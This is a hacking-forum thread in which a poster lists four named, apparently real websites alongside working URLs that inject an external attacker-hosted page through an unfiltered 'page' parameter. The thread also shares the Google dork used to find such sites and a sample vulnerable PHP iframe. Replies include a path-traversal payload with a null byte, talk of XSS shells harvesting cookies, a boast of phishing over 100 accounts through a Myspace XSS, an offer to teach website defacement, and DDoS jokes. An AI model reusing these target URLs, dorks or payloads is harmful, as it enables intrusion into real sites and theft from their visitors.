[ImPlode]

Hello =]

I going very bored and started getting into this, but while playing around with dorks and making my own dorks on Google I came across these sites.

These are my own findings even though I joined today :P

Code

##
#    XSS    #--
##

http://www.georgeharrison.com/letitroll/home.php?page=http://bl4ckh4t.webs.com/file.html

http://www.starjouet.com/home.php?page=http://bl4ckh4t.webs.com/file.html

http://www.acquasanta.com/index.php?page=http://bl4ckh4t.webs.com/file.html

http://www.tea-mail.de/index.php?p=http://bl4ckh4t.webs.com/file.html

All they use is a simple iFrame like this for eg:

PHP Code


<?php 
<iframe name="iframe-test" src="<?php $_GET['page']; ?>">
</iframe> 


Then a hacker/skiddie could enter like http://thefailswebsite/index.php?page=URL_HERE

---

Thanks for the 19 who viewed and didn't comment =] -(Sarcasm)

[Burn Notice]

I doubt this would work. But nevertheless, good post.

[ImPlode]

I doubt this would work. But nevertheless, good post.

Its an iframe XSS exploit.

[Burn Notice]

XSS exploits generally aren't that big of a security risk under most circumstances.

[ImPlode]

XSS exploits generally aren't that big of a security risk under most circumstances.

Do I look stupid? I already know. Its client side and cannot cause any defacements.

[Burn Notice]

Don't ask me that, cause you won't like the answer.

Let's agree XSS is useless these days and move on.

Good day.

[# Ghost ℍackεr]

Let's agree XSS is useless these days and move on.

Lets DDoS, make the admin move on.

🤣

[ImPlode]

Don't ask me that, cause you won't like the answer.

Let's agree XSS is useless these days and move on.

Good day.

Yeah I agree, It it useless :P but its always fun to discover them

---

Lets DDoS, make the admin move on.

🤣

Lol - (message to short)

Yeah XSS is crap and shitty

[shyamraj]

Though XSS is not considered to be a big security threat.

But it can still be used to do some serious damage to the victim.

---

Can you share the dork that you used to find XSS vulnerable sites?

[ImPlode]

Though XSS is not considered to be a big security threat.

But it can still be used to do some serious damage to the slave.

I can teach you my ways of defacing websites and such, email me @ [email protected] <3

My dork was (inurl:"index.php?page=home.html") and (inurl:"index.php?page=about.html"), mainly basic names of pages you would find on the net.

[03storic]

XSS is a huge security threat is it is persistant. Myspace had one in 07/08 that allowed me to cover people's profile with a phisher and all they see is a login page, with that I was able to get 100+ accounts in less then 10 minutes.

[Kick Buttowski]

XSS is also dangerous lol . With iframes we can infect users and also inject worm in to the server

[iDropDoX]

I like using cross site/local inclusion patterns because its more sanitized and can be used to retrieve results faster then ?p=../../../../john.txt%00, although %00 patterns can be used when you read from the file (?site.php=) then sanitize an input. Its quite useful but doesn't work a lot.

I like using it for XSS-Shell behavior, its much more interesting and tempting. + who wouldn't want a big valid UA list + cookie patterns? It can get you long login-dates depending on expiration.

[Isonyx]

Nice job here. Thanks for explaining the iFrame exploit method.

[ImPlode]

Not a problem, pleasure to help anyone here :)